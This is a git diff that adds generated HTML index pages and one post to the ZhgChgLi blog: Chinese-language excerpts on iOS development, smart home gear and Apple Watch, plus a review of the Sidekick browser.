ZhgChgLi
Cancel
Preview Image

Visitor Pattern in TableView

Visitor Pattern in TableView 使用 Visitor Pattern 增加 TableView 的閱讀和擴充性 Photo by Alex wong 前言 承接上篇「 Visitor Pattern in Swift 」介紹 Visitor 模式及一個簡單的實務應用場景,此篇將介紹另一個在 iOS 需求開發上的實際應用。 需求場景 要開發一個動態牆功能,...

Preview Image

自行實現 iOS NSAttributedString HTML Render

自行實現 iOS NSAttributedString HTML Render iOS NSAttributedString DocumentType.html 的替代方案 Photo by Florian Olivo [TL;DR] 2023/03/12 重新使用其他方式開發了 「 ZMarkupParser HTML String 轉換 NSAttributedString 工...

Preview Image

Converting Medium Posts to Markdown

Converting Medium Posts to Markdown 撰寫小工具將 Medium 心血文章備份下來 &amp; 轉換成 Markdown 格式 ZhgChgLi / ZMediumToMarkdown [EN] ZMediumToMarkdown I’ve written a project to let you download Medium post and ...

Preview Image

Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate

Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate 使用 Google Apps Script 透過 Google Analytics 查詢 Crashlytics 自動填入到 Google Sheet 上篇「 Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具 」我們將...

Preview Image

Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具

Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具 串接 Crashlytics 和 Big Query 自動轉發閃退記錄到 Slack Channel 成果 Pinkoi iOS Team 實拍圖 先上成果圖,每週定時查詢 Crashlytics 閃退紀錄;篩選出閃退次數前 10 多的問題;將訊息發送到 Slack Channel,方便所...

Preview Image

2021 Pinkoi Tech Career Talk —  高效率工程團隊大解密

2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密 Pinkoi 高效率工程團隊大解密 Tech Talk 分享 高效率工程團隊大解密 2021/09/08 19:00 @ Pinkoi x Yourator My Medium: ZhgChgLi 關於團隊 Pinkoi 的工作方式是由多個 Squad (小隊)組成: Buyer-...

Preview Image

運用 Google Apps Script 轉發 Gmail 信件到 Slack

運用 Google Apps Script 轉發 Gmail 信件到 Slack 使用 Gmail Filter + Google Apps Script 在收到信件時自動將客製化內容轉寄至 Slack Channel Photo by Lukas Blazek 起源 最近在優化 iOS App CI/CD 的流程,使用 Fastlane 作為自動化工具;打包上傳後如果要繼續完成自...

Preview Image

生產力工具 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱

[生產力工具] 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱 Sidekick 瀏覽器功能介紹&使用心得 前言 知道 Sidekick 瀏覽器是來自同事的分享;老實說一開始並沒有抱太大期待,其實這幾年一直都有拋棄 Chrome 的念頭,改用過 Safari、搶先體驗版的 Safari、Firefox、Opera、基於開源核心開發的第三方瀏覽器,但屢屢失敗,幾乎用不了...

Preview Image

Leading Snowflakes 閱讀筆記

Leading Snowflakes — 閱讀筆記 “Leading Snowflakes The Engineering Manager Handbook” — Oren Ellenbogen 管理職,初來乍到,一切都很迷茫;對於管理的知識只有彙整之前的工作經驗、觀察或與其他同事閒聊時獲得,知道主管做了什麼事底下的人是正面的、什麼事是負面的;也就大概只有這些經驗想法,知識是破碎的,...

Preview Image

Visitor Pattern in iOS (Swift)

Visitor Pattern in Swift Design Pattern Visitor 的實際應用場景分析 Photo by Daniel McCullough 前言 「Design Pattern」從知道有這個東西到現在也超過 10 年了依然沒辦法有自信的說能完全掌握,一直以來都是矇矇懂懂的,也好幾次從頭到尾把所有模式都看過一遍,但看了沒內化、沒在實務上應用很快就忘了。 ...

diff --git a/page4/index.html b/page4/index.html new file mode 100644 index 000000000..1370992be --- /dev/null +++ b/page4/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

Slack 打造全自動 WFH 員工健康狀況回報系統

Slack 打造全自動 WFH 員工健康狀況回報系統 玩轉 Slack Workflow 搭配 Google Sheet with App Script 增加工作效率 Photo by Stephen Phillips — Hostreviews.co.uk 前言 因應全面居家工作,公司關心所有成員的健康,每日均需回報身體有無狀況並由 People Operations 統一紀錄管...

Preview Image

ZReviewsBot — Slack App Review 通知機器人

ZReviewsBot — Slack App Review 通知機器人 免費開源的 iOS &amp; Android APP 最新評價追蹤 Slack Bot TL;DR [2022/08/10] Update: 現已改用全新的 App Store Connect API 重新設計 App Reviews Bot,並更名重新推出「 ZReviewTender — 免費開源的 App...

Preview Image

AppStore APP’s Reviews Bot 那些事

AppStore APP’s Reviews Slack Bot 那些事 使用 Ruby+Fastlane-SpaceShip 動手打造 APP 評價追蹤通知 Slack 機器人 Photo by Austin Distel 吃米不知米價 AppReviewBot 為例 最近才知道 Slack 中轉發 APP 最新評價訊息的機器人是要付費的,我一直以為這功能是免費的;費用從 ...

Preview Image

使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務

使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務 當推播統計遇上 Firebase Firestore + Functions Photo by Carlos Muza 前言 推播精確統計功能 最近想為 APP 導入的功能,未實作前我們只能從後端 Post 資料給 APNS/FCM 的成功與否當作推播基數並記錄推播點擊,計算出「點...

Preview Image

找回密碼之簡訊驗證碼強度安全問題

找回密碼之簡訊驗證碼強度安全問題 使用 Python 展示暴力破解的嚴重性 Photo by Matt Artz 前言 本文沒什麼資安技術含量,單純是日前在使用某平台網站時的突發奇想;想說順手測看看安全性,結果發現的問題。 在使用網站、APP 服務的忘記密碼找回功能時;一般會有兩個選項,一是輸入帳號、Email,然後會寄含有 Token 的重設密碼頁面連結到信箱,點擊後打開頁面就...

Preview Image

Bye Bye 2020 經營 Medium 第二年回顧

Bye Bye 2020 經營 Medium 第二年回顧 遲到遲到再遲到的 2020 回顧 圖片取自 2020 年擔任 iOS Developer 的服務單位 — 街聲 — 簡單生活節官方海報 2018–2019 第一年的回顧在這。 艱難的一年 無關工作,2020 對我來說是艱難的一年;經歷了許多重大挫折,不過還好,都挺過去了。 我只想說一句: 人,要學會珍惜...

Preview Image

Medium 自訂網域功能回歸

Medium 自訂網域功能回歸 自己的 Domain Authority 自己養! TL;DR [2022/07/11] 此功能又被關閉了 感謝網友 MING 回報,此功能又被 官方宣告關閉了 ,已經設定的帳戶暫時還可以繼續轉址使用。 Breaking News! Custom domains are back! Medium 官方部落格於 2021/02/17 發布最...

Preview Image

揭露一個幾年前發現的巧妙網站漏洞

揭露一個幾年前發現的巧妙網站漏洞 多個漏洞合併引起的網站資安問題 Photo by Tarik Haiga 前言 幾年前還有在邊支援網頁開發的時候;被指派任務要為公司內部工程組舉辦 CTF 競賽;一開始初想是依照公司產品分組互相攻防入侵,但身為主辦,為了想先瞭解掌握程度就先對公司旗下各產品進行入侵測試;看看我自己能找到幾個漏洞,確保活動流程不會出問題。 但最後因為比賽時間有...

Preview Image

使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事

使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事 以簽到獎勵 APP 為例,打造每日自動簽到腳本 Photo by Paweł Czerwiński 起源 一直以來都有使用 Python 做小工具的習慣;有做正經的,工作上自動爬數據、產報表,也有不正經的,排程自動查想要的資訊或是交給腳本完成本來要手動執行的動作。 一直以來「自動」...

Preview Image

重灌筆記1-Laravel Homestead + phpMyAdmin 環境建置

[重灌筆記1] -Laravel Homestead + phpMyAdmin 環境建置 從 0 到 1 建置 Laravel 開發環境並搭配 phpMyAdmin GUI 管理 MySql 資料庫 Laravel 最近把 Mac Reset 一遍,紀錄一下重新還原 Laravel 開發環境的步驟。 環境需求 Vagrant :虛擬環境配置工具 VirtualB...

diff --git a/page5/index.html b/page5/index.html new file mode 100644 index 000000000..689e8040c --- /dev/null +++ b/page5/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

Universal Links 新鮮事

Universal Links 新鮮事 iOS 13, iOS 14 Universal Links 新鮮事&建立本地測試環境 Photo by NASA 前言 對於一個有網站又有 APP 的服務, Universal Links 的功能對於使用者體驗來說無比的重要,能達到 Web 與 APP 之間的無縫接軌;但一直以來都只有簡單設置,沒有太多的著墨;前陣子剛好又遇到花了點時間研究...

Preview Image

iOS 跨平台帳號密碼整合加強登入體驗

iOS 跨平台帳號密碼整合,加強登入體驗 除 Sign in with Apple 也值得加入的功能 Photo by Dan Nelson 功能 在同時有網站又有 APP 的服務中最常遇到的問題就是使用者在網站登入註冊過,且有記憶密碼;但被引導安裝 APP 後,打開登入要從頭輸入帳號密碼非常不方便;此功能就是能將已存在在手機的帳號密碼自動帶入到與網站關聯的 APP 之中,加速使用...

Preview Image

AVPlayer 實踐本地 Cache 功能大全

AVPlayer 實踐本地 Cache 功能大全 AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate Photo by Tyler Lastovich [2023/03/12] Update 我將之前的實作開源了,有需求的朋友可直接使用。 客製化 Cache 策略,可以用 PINC...

AVPlayer 邊播邊 Cache 實戰

[舊]AVPlayer 邊播邊 Cache 實戰 摸清 AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate 的脈絡 [2021–01–31] 文章公告:文章編修完成 在此要先對所有已讀原本文章的朋友深深一鞠躬道歉,因為自己的魯莽沒有徹底研究完成就發表文章;導致部分內容有誤、浪費您寶貴的時間。 ...

Preview Image

iOS APP 版本號那些事

iOS APP 版本號那些事 版本號規則及判斷比較解決方案 Photo by James Yarema 前言 所有 iOS APP 開發者都會碰到的兩個數字,Version Number 和 Build Number;最近剛好遇到需求跟版本號有關,要做版本號判斷邀請使用者評價 APP,順便挖掘了一下關於版本號的事;文末也會附上我的版本號判斷解決大全。 XCode Help 語...

Preview Image

Apple Watch 原廠不鏽鋼米蘭錶帶開箱

Apple Watch 原廠不鏽鋼米蘭錶帶開箱 Apple 原廠不鏽鋼 44 公釐石墨色米蘭式錶環開箱 緊接著上篇「 Apple Watch Series 6 開箱 &amp; 兩年使用心得 」這次也終於狠下心入手了 原廠的米蘭錶帶 ,其實兩年前就想入手但一直沒下手;這次正好一次更新,反正蘋果保證錶帶能通用在所有後續的 Apple Watch 版本,所以不擔心之後更新手錶後錶帶不能使用。...

Preview Image

Apple Watch Series 6 開箱 & 兩年使用體驗

Apple Watch Series 6 開箱 &amp; 兩年使用心得 Apple Watch Series 6 開箱及選購指南&兩年使用心得體驗彙整 前言 時光飛逝,距離 上一篇開箱 Apple Watch Series 4 的文章 也已經過了兩年了;以功能來說 Series 4 綽綽有餘沒有升級的必要,Series 5/Series 6 沒有什麼核心的突破功能,都是有會更好、沒有...

Preview Image

Xcode 直接使用 Swift 撰寫 Run Script!

Xcode 直接使用 Swift 撰寫 Shell Script! 導入 Localization 多語系及 Image Assets 缺漏檢查、使用 Swift 打造 Shell Script 腳本 Photo by Glenn Carstens-Peters 緣由 因為自己手殘,時常在編輯多語系檔案時遺漏「;」導致 app build 出來語言顯示出錯再加上隨著開發的推移語系檔...

Preview Image

iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難

iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難 為何那麼多 iOS APP 會讀取你的剪貼簿? Photo by Clint Patterson ⚠️ 2022/07/22 Update: iOS 16 Upcoming Changes iOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。 ...

Preview Image

現實使用 Codable 上遇到的 Decode 問題場景總匯(下)

現實使用 Codable 上遇到的 Decode 問題場景總匯(下) 合理的處理 Response Null 欄位資料、不一定都要重寫 init decoder Photo by Zan 前言 既上篇「 現實使用 Codable 上遇到的 Decode 問題場景總匯 」後,開發進度繼續邁進又遇到了新的場景新的問題,故出了此下篇,繼續把遇到的情景、研究心路都記錄下來,方便日後回頭查閱...

diff --git a/page6/index.html b/page6/index.html new file mode 100644 index 000000000..9b13b10e1 --- /dev/null +++ b/page6/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

使用 Google Site 建立個人網站還跟得上時代嗎?

使用 Google Site 建立個人網站還跟得上時代嗎? 新 Google Site 個人網站建立經驗及設定教學 Update 2022–07–17 目前已透過我自己撰寫的 ZMediumToMarkdown 工具將 Medium 文章打包下載並轉換為 Markdown 格式,搬遷到 Jekyll。 zhgchg.li 手把手無痛轉移教學可點此 🚀🚀🚀🚀🚀 ===...

Preview Image

現實使用 Codable 上遇到的 Decode 問題場景總匯

現實使用 Codable 上遇到的 Decode 問題場景總匯(上) 從基礎到進階,深入使用 Decodable 滿足所有可能會遇到的問題場景 Photo by Gustas Brazaitis 前言 因應後端 API 升級需要調整 API 處理架構,近期趁這個機會一併將原本使用 Objective-C 撰寫的網路處理架構更新成 Swift;因語言不同,也不在適合使用原本的 Res...

Preview Image

使用 iPhone 簡單製作「偽」透視透明手機桌布

使用 iPhone 簡單製作「偽」透視透明手機桌布 應用 iMovie 綠幕摳圖功能合成影片 反正我很閒 白天工作,被資本家剝削肉體;晚上又被大眾娛樂剝削心靈,依然做不到白天工作、晚上讀書、假日批判的境界 ! 最近在無腦放鬆的時候, 滑到一個很常見的桌布 APP 廣告,廣告中展示了一個透視透明的桌布很吸睛 ;但可想而知是不可能的,就算後置相機實時取景角度也不可能這麼吻合! 【Y...

Preview Image

打造舒適的 WFH 智慧居家環境,控制家電盡在指尖

打造舒適的 WFH 智慧居家環境,控制家電盡在指尖 示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit photo by picjumbo.com 關於 因為疫情的關係,在家時間變長了;尤其是要 Work From Home 的話,家裡的電器設備最好都能在 APP 上智能控制,就不用一下子離開去開燈、一下子去開電鍋…等等,很浪費時間。 之前寫過一篇「...

Preview Image

iOS HLS Cache 實踐方法探究之旅

iOS HLS Cache 實踐方法探究之旅 使用 AVPlayer 播放 m3u8 串流影音檔時如何做到邊播放邊 Cache 的功能 photo by Mihis Alex [2023/03/12] Update 下篇「 AVPlayer 實踐本地 Cache 功能大全 」教您實現 AVPlayer Caching 我將之前的實作開源了,有需求的朋友可直接使用。 ...

Preview Image

iOS 逆向工程初體驗

iOS 逆向工程初體驗 從越獄、提取iPA檔敲殼到UI分析注入及反編譯的探索過程 關於安全 之前唯一做過跟安全有關的就只有 &lt;&lt; 使用中間人攻擊嗅探傳輸資料 &gt;&gt; ;另外也接續這篇,假設我們在資料傳輸前編碼加密、接受時 APP 內解密,用以防止中間人嗅探;那還有可能被偷走資料嗎? 答案是肯定的!,就算沒真的試驗過;世界上沒有破不了的系統,只有時間成本的問...

Preview Image

iOS 擴大按鈕點擊範圍

iOS 擴大按鈕點擊範圍 重寫 pointInside 擴大感應區域 日常開發上經常遇到版面照著設計 UI 排好之後,畫面美美的,但是實際操作上按鈕的感應範圍太小,不容易準確點擊;尤其對手指粗的人極不友善。 完成範例圖 Before… 關於這個問題當初沒特別深入研究,直接暴力蓋一個範圍更大的透明 UIButton 在原按鈕上,並使用這個透明的按鈕響應事件,做起來非常麻煩、元件一多...

Preview Image

Medium 經營一年回顧

Medium 經營一年回顧 Medium 經營一年回顧的哩哩扣扣或是說 2019 年總結 轉眼之間在 Medium 發表文章已經過了一年,實際上週年慶應該是 2019/10 (2018/10 第一篇);但那時太忙了沒有靈感;眼看時間又向前邁入 2020 ,趕緊把經營一年的心得記錄一下、也當作是 2019 年總結吧! 回顧 在此先感謝 Enther Wu 及 Chih-Hung Yeh ...

Preview Image

米家 APP / 小愛音箱地區問題

米家 APP / 小愛音箱地區問題 新添購小米空氣淨化器 3 &amp; 記錄下米家與小愛音箱的連動問題 前言 關於小米的第四篇;最近再加一新成員 — 「小米空氣淨化器 3」 老實說從未關心過房間的空氣品質,平常看室外空氣霧濛濛還是會怕怕的,再加上本身長期鼻子過敏,就下手買了一台放房間了! 新一代在主機上就有小螢幕顯示濾網剩餘使用時間、當前空氣品質、選擇運行模式,不用連接 APP ...

Preview Image

iOS UIViewController 轉場二三事

iOS UIViewController 轉場二三事 UIViewController 下拉關閉/上拉出現/全頁右滑返回 效果全解 前言 一直以來都很好奇諸如 Facebook、Line、Spotify…等等常用的 APP 是如何實作「Present 的 UIViewController 可下拉關閉」、「上拉漸入 UIViewController」、「全頁面支援手勢右滑返回」這些效...

diff --git a/page7/index.html b/page7/index.html new file mode 100644 index 000000000..5267b5885 --- /dev/null +++ b/page7/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

iOS Deferred Deep Link 延遲深度連結實作(Swift)

iOS Deferred Deep Link 延遲深度連結實作(Swift) 動手打造適應所有場景、不中斷的App轉跳流程 [2022/07/22] 更新 iOS 16 Upcoming Changes iOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。 UIPasteBoard’s pri...

Preview Image

iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居

iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居 直接使用 iOS ≥ 13.1 內建的捷徑APP完成自動化操作 前言 今年 7 月初的時候買了米家檯燈 Pro、米家 LED 智慧檯燈兩個智能設備,差別在一個能支援HomeKit,一個僅支援米家;當時寫了篇「 智慧家居初體驗 — Apple HomeKit &amp; 小米米家 」文章,裡面提到如何在沒有 HomePod/A...

Preview Image

小米智慧家居新添購

小米智慧家居新添購 AI音箱、溫濕度感應器、體重計2、直流變頻電風扇 使用心得 入坑 既上一篇「 智慧家居初體驗 — Apple HomeKit &amp; 小米米家 」入手&amp;介紹如何使用小米智慧家居後;又持續買了幾樣小米居家產品,並且想盡辦法讓所有家電都智慧化….只能說真的是個坑,起初只是想買個檯燈覺得小米美美的,順帶研究了智慧功能,就這樣入坑了! 新添購 — 小米AI音箱 ...

Preview Image

iPlayground 2019 是怎麼樣的體驗?

iPlayground 2019 是怎麼樣的體驗? iPlayground 2019 火熱熱參加心得 關於活動 去年辦在10月中,我也是去年10月初才開始經營 Medium 記錄生活;結合聽到的 UUID 議題跟參加心得也寫了篇 文章 ;今年繼續來 寫心得蹭熱度 ! iPlayground 2019 (本次一樣是由 公司 補助企業票) 相較 2018 年第一屆,今年在各方面又更...

Preview Image

APP有用HTTPS傳輸,但資料還是被偷了。

APP有用HTTPS傳輸,但資料還是被偷了。 iOS+MacOS 使用 mitmproxy 進行中間人攻擊(Man-in-the-middle attack) 嗅探API傳輸資料教學及如何防範? 前言 前陣子剛在公司辦完一場內部的 CTF競賽 ,在發想題目時回想起大學時候還在做後端(PHP)時經手的專案,一個集點的APP,大概就是有個任務列表,然後觸發條件完成就Call API獲得點數...

Preview Image

如何打造一場有趣的工程CTF競賽

如何打造一場有趣的工程CTF競賽 Capture The Flag 競賽建置與題目發想 關於 CTF Capture The Flag 奪旗簡稱 CTF;是一種源於西方的運動,在現代也常見於漆彈、第一人稱射擊遊戲中;原始概念是分組進行,各組需要保護自己的旗幟不被搶走另一方面也要想辦法得到別組的旗幟;應用在計算機領域就是「入侵攻防戰」首先找到自己的漏洞保護好不被入侵,另一方面製造零時差攻...

Preview Image

Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)

Apple Watch 保護殼開箱體驗 (Catalyst &amp; Muvit) Catalyst Apple Watch 超輕薄防水保護殼 &amp; Muvit Apple Watch 保護套 [最新更新] Apple Watch Series 6 開箱&使用兩年體驗心得 &gt;&gt;&gt;點我前往 Apple Watch 原廠不鏽鋼米蘭錶帶開箱&gt;&gt;點...

Preview Image

智慧家居初體驗 - Apple HomeKit & 小米米家

智慧家居初體驗 - Apple HomeKit &amp; 小米米家 米家智慧攝影機及米家智慧檯燈、Homekit設定教學 [2020/04/20] 進階篇已發 : 有經驗的朋友請直接左轉前往&gt;&gt; 示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit 雜談: 最近剛搬完家;有別於原本住的地方,天花板是辦公室輕鋼架燈,亮到要拔掉幾根燈管眼睛才比較...

Preview Image

AirPods 2 開箱及上手體驗心得

AirPods 2 開箱及上手體驗心得 (雷射鐫刻版) 更加巧妙,無比驚歎。 [最新] Apple Watch Series 6 開箱&使用兩年體驗心得 &gt;&gt;&gt;點我前往 AirPods 這款產品剛出來時,我並沒有特別注意;第一眼看覺得就是個像蓮蓬頭的無線藍牙耳機,而且那時候無線藍牙耳機市場也是百家齊放的狀態,你能想到的款式、需求都能找到相符的產品再加上價格也不親民,有什...

Preview Image

iOS 完美實踐一次性優惠或試用的方法 (Swift)

iOS 完美實踐一次性優惠或試用的方法 (Swift) iOS DeviceCheck 跟著你到天涯海角 在寫上一篇 Call Directory Extension 時無意間發現這個冷門的API,雖然已不是什麼新鮮事(WWDC 2017時公布/iOS ≥11支援)、實作方面也非常簡易;但還是小小的研究測試了一下並整理出文章當做個紀錄. DeviceCheck 能幹嘛? 允許開發...

diff --git a/page8/index.html b/page8/index.html new file mode 100644 index 000000000..dc50cd8ca --- /dev/null +++ b/page8/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

自己的電話自己辨識(Swift)

自己的電話自己辨識(Swift) iOS自幹 Whoscall 來電辨識、電話號碼標記 功能 起源 一直以來都是Whoscall的忠實用戶,從原本用Android手機時就有使用,能夠非常即時的顯示陌生來電資訊,當下就能直接決定接通與否;後來轉跳蘋果陣營,第一隻蘋果手機是iPhone 6 (iOS 9),那時在使用Whoscall上非常彆扭,無法即時辨識電話,要複製電話號碼去APP查詢,...

Preview Image

iOS tintAdjustmentMode 屬性

iOS tintAdjustmentMode 屬性 Present UIAlertController 時本頁上的 Image Assets (Render as template) .tintColor 設定失效問題 顧小事成大事的第一篇: 2019年新主題,「 顧小事成大事 」意指 完善小細節聚沙成塔成大事 ,如同郭董說的「 魔鬼藏在細節裡 」;主要都是整理 小問題及解決方法...

Preview Image

動手做一支 Apple Watch App 吧!

動手做一支 Apple Watch App 吧!(Swift) watchOS 5 手把手開發Apple Watch App 從無到有 [最新] Apple Watch Series 6 開箱&使用兩年體驗心得 &gt;&gt;&gt;點我前往 前言: 暨上一篇 Apple Watch 入手開箱文 後已經過了快三個月,最近終於找到機會研究開發Apple Watch App啦。 結...

Preview Image

Apple Watch Series 4 從入手到上手全方位心得

Apple Watch Series 4 開箱 從入手到上手全方位心得 (2020–10–24更新) 為什麼要買?好用嗎?哪裡好用?怎麼用?&amp; WatchOS APP推薦 [最新] Apple Watch Series 6 開箱&使用兩年體驗心得 &gt;&gt;&gt;點我前往 從入手開始… 個人背景 首先自述一下個人使用蘋果產品的背景,我並非忠實果粉;第一次接觸是在 201...

Preview Image

iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)

iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift) 除了從系統關閉通知,讓使用者還有其他選擇 緊接著前三篇文章: iOS ≥ 10 Notification Service Extension 應用 (Swift) 什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) 從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swi...

Preview Image

永遠保持探索新事物的熱忱

永遠保持探索新事物的熱忱 從踏入資訊領域到轉戰iOS APP開發的人生契機 Bangkok 2018 - Z Realm — 解決問題的道路上你並不孤單 時間過得真快,從Back End轉跳開發Mobile iOS APP 滿一年、開始寫Medium也滿一個月,第10篇小小小里程碑就容我寫一篇自我突破轉換跑道心得。 永遠保持探索新事物的熱忱 「探索的本能促使人類偉大的成就」從古代...

Preview Image

從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)

從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift) 適配 iOS 9 ~ iOS 12 處理通知權限狀態及要求權限的解決方案 做什麼? 接續前一篇「 什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) 」提到的推播權限取得流程優化,經過上一篇Murmur部分寫的優化之後又遇到了新的需求: 使用者若關閉通知功能,我們能在特定功能頁面提示他去設定...

Preview Image

什麼?iOS 12 不需使用者授權就能收到推播通知(Swift)

什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) — (2019–02–06 更新) UserNotifications Provisional Authorization 臨時權限、iOS 12 靜音通知介紹 MurMur…… 前陣子在改善APP推播通知允許及點擊率過低問題,做了些優化調整;最初版的時候體驗非常差,APP 安裝完一啟動就直接跳「APP想要傳送通知」的詢...

Preview Image

iOS UUID 的那些事 (Swift/iOS ≥ 6)

iOS UUID 的那些事 (Swift/iOS ≥ 6) iPlayground 2018 回來 &amp; UUID那些事 前言: 上週六、日跑去參加 iPlayground Apple 軟體開發者研討會,這個活動訊息是同事PASS過來的,去之前我也不清楚這個活動。 兩天下來,整題活動跟時程安排流暢,議程內容: 趣味的:腳踏車、凋零的Code、iOS/API 演進史、威...

Preview Image

提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)

[TL;DR]提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift) iOS 3D TOUCH 應用 [TL;DR] 2020/06/14 iPhone 11 以上版本已取消 3D Touch 功能;改用 Haptic Touch 取代,實作方式也有所不同。 前陣子在專案開發閒暇之時,探索了許多 iOS 的有趣功能: CoreML 、 Vis...

diff --git a/page9/index.html b/page9/index.html new file mode 100644 index 000000000..362f7798f --- /dev/null +++ b/page9/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!

嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練! 探索CoreML 2.0,如何轉換或訓練模型及將其應用在實際產品上 接續 上一篇 針對在 iOS上使用機器學習的研究,本篇正式切入使用CoreML 首先簡述一下歷史,蘋果在2017年發布了CoreML(包含上篇文章介紹的Vision) 機器學習框架;2018緊接著推出CoreML 2.0,除 效能提...

Preview Image

Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)

Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift) Vision 實戰應用 一樣不多說,先上一張成品圖: 優化前 V.S 優化後 — 結婚吧APP 前陣子iOS 12發佈更新,注意到新開放的CoreML 機器學習框架;覺得挺有趣的,就開始構想如果想用在當前的產品上能放在哪裡? CoreML嚐鮮文章現已發佈: 使用機器學習自動預測文章分類,連模型也自...

Preview Image

iOS ≥ 10 Notification Service Extension 應用 (Swift)

iOS ≥ 10 Notification Service Extension 應用 (Swift) 圖片推播、推播顯示統計、推播顯示前處理 關於基礎的推播建置、推播原理;網路資料很多,這邊就不再論述,本篇主要重點在如何讓APP支援圖片推播及運用新特性達成更精準的推播顯示統計. 如上圖所示,Notification Service Extension讓你在APP收到推播後能針對推播...

Preview Image

iOS UITextView 文繞圖編輯器 (Swift)

iOS UITextView 文繞圖編輯器 (Swift) 實戰路線 目標功能: APP上有一個讓使用者能發表文章的討論區功能,發表文章功能介面需要能輸入文字、插入多張圖片、支援文繞圖穿插. 功能需求: 能輸入多行文字 能在行中穿插圖片 能上傳多張圖片 能隨意移除插入的圖片 圖片上傳效果/失敗處理 能將輸入內容轉譯成可傳遞文本 EX: BBCODE 先上個...

Preview Image

Medium的第一篇

萬事起頭難 已經超過4年沒有在經營Blog,之前的廣告收益尾款US$88就這樣一直卡著,最近發現可以主動要求取消Adsense帳戶,只要達到最低給付額度Google就會把最後一筆收益給你;這也算是給了我一個動力再回來寫Blog. 初來乍到,就用“萬事起頭難” 這個簡單的標題當作開端 回想起寫Blog的歷史,大約是在國中正值最瘋遊戲的時期,那時候家中電腦很爛基本沒什麼遊戲可以玩,但在那個...

diff --git a/posts/118e924a1477/index.html b/posts/118e924a1477/index.html new file mode 100644 index 000000000..b54646e80 --- /dev/null +++ b/posts/118e924a1477/index.html @@ -0,0 +1 @@ + 生產力工具 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱 | ZhgChgLi
Home 生產力工具 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱
Post
Cancel

生產力工具 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱

[生產力工具] 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱

Sidekick 瀏覽器功能介紹&使用心得

前言

知道 Sidekick 瀏覽器是來自同事的分享;老實說一開始並沒有抱太大期待,其實這幾年一直都有拋棄 Chrome 的念頭,改用過 Safari、搶先體驗版的 Safari、Firefox、Opera、基於開源核心開發的第三方瀏覽器,但屢屢失敗,幾乎用不了幾天就又認錯裝回 Chrome,另外一個原因是自己並沒有很積極的 Follow 瀏覽器市場,也許早就有符合我需求的瀏覽器,只是我不知道罷了。

失敗原因

主要原因是我常用的擴充功能不能完全支援,太依賴也太習慣 Chrome 的擴充功能了,其次就算是 Chromium 核心能無痛支援但功能方面並沒有特別亮點,跟用 Google Chrome 體驗差不多。

我的需求

  • Chromium 核心,因為要支援我常用的擴充功能
  • 有更多特色功能,幫助提升生產力
  • 支援 MacOS,iOS 我習慣用 Safari 所以不要求支援跨裝置
  • 優秀的記憶體管理
  • 加強隱私反追蹤
  • 無痛轉移功能

關於生產力功能,其實 Chrome 擴充功能有上千萬的工具可以用,自己搜尋、組合起來也能達到效果;但是我們沒做過研究調查,老實說不太清楚什麼流程跟功能是對生產力有幫助的。

關於 Sidekick

  • 開發團隊:Sidekick 新創團隊創立於 2020/11 @ San-Francisco / 募資中
  • 瀏覽器核心:Chromium
  • 當前階段:early access
  • 核心價值: 專為工作流程優化,提升生產力的瀏覽器
  • 支援平台:Windows、Mac OS、Mac OS (M1)、Linux (deb)、Linux (rpm)
  • 擴充功能:支援所有 Chrome Store 擴充功能 (bitwarden、lastpass 、1password、grammarly、google translate…)
  • 官方網站: www.meetsidekick.com

馬上下載使用

  • 點此進入官方網站
  • 點擊「Download Now」
  • 選擇符合自己作業系統的版本
  • 下載&完成安裝
